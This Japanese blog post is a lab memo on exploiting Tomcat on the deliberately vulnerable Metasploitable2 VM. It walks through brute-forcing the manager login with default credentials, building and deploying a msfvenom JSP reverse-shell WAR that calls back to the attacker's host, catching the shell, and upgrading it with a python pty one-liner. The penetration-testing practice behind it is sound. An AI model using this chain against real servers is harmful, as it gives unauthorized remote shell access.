0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable2 exploit Tomcat(reverse shell)

Last updated at Posted at 2024-10-05

Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatのデフォルトアカウントが有効になっている脆弱性を利用して、リバースシェルでエクスプロイトします。

Metasploitでエクスプロイトする

Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
Metasploitの起動前にファイルを作成します。
空でもいいようですが、無いとエラーになるため。

touch tomcat_creds

Tomcatの管理者ログインをデフォルトアカウントで、ブルートフォース攻撃します。
ユーザーパスファイルとして、さっき作成したファイルをセットします。

msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /root/tomcat_creds
USERPASS_FILE => /root/tomcat_creds

攻撃ポートとして、8180番ポート。
攻撃IPアドレスとして、192.168.56.20をセットします。

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20

exploitします。
Metasploitable2の場合、ユーザー名:tomcat、パスワード:tomcatでログインできます。

msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:manager (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.56.20:8180 - Login Successful: tomcat:tomcat
[-] 192.168.56.20:8180 - LOGIN FAILED: both:admin (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ペイロードを作成する

以下のコマンドで、Tomcatにアップロードするペイロード(shell.war)を作成します。

msf6 auxiliary(scanner/http/tomcat_mgr_login) > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Payload size: 1094 bytes
Final size of war file: 1094 bytes
Saved as: shell.war

ブラウザで、Tomcatの管理者画面にアクセスし、ユーザー名:tomcat、パスワード:tomcatでログインします。

http://192.168.56.20:8180/manager/html

「WAR file to deploy」の「Browse」をクリックして、作成したshell.warを選択して、Openボタンをクリックします。

リバースシェルを待ち受ける

汎用のペイロードハンドラーを選択します。

msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

リバースシェルのpayloadを選択します。

msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp

待ち受け用のIPアドレスとポートをセットします。

msf6 exploit(multi/handler) > set LHOST 192.168.56.10
LHOST => 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

exploitします。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.10:4444

ブラウザから、shell.warにアクセスします。

http://192.168.56.20:8180/shell/

コネクションが確立します。

[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:33178) at 2024-10-05 21:37:17 +0900

whoami
tomcat55
hostname
metasploitable

シェルが無いので、対話的シェルの出し方。

python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$

プロンプトが表示されます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?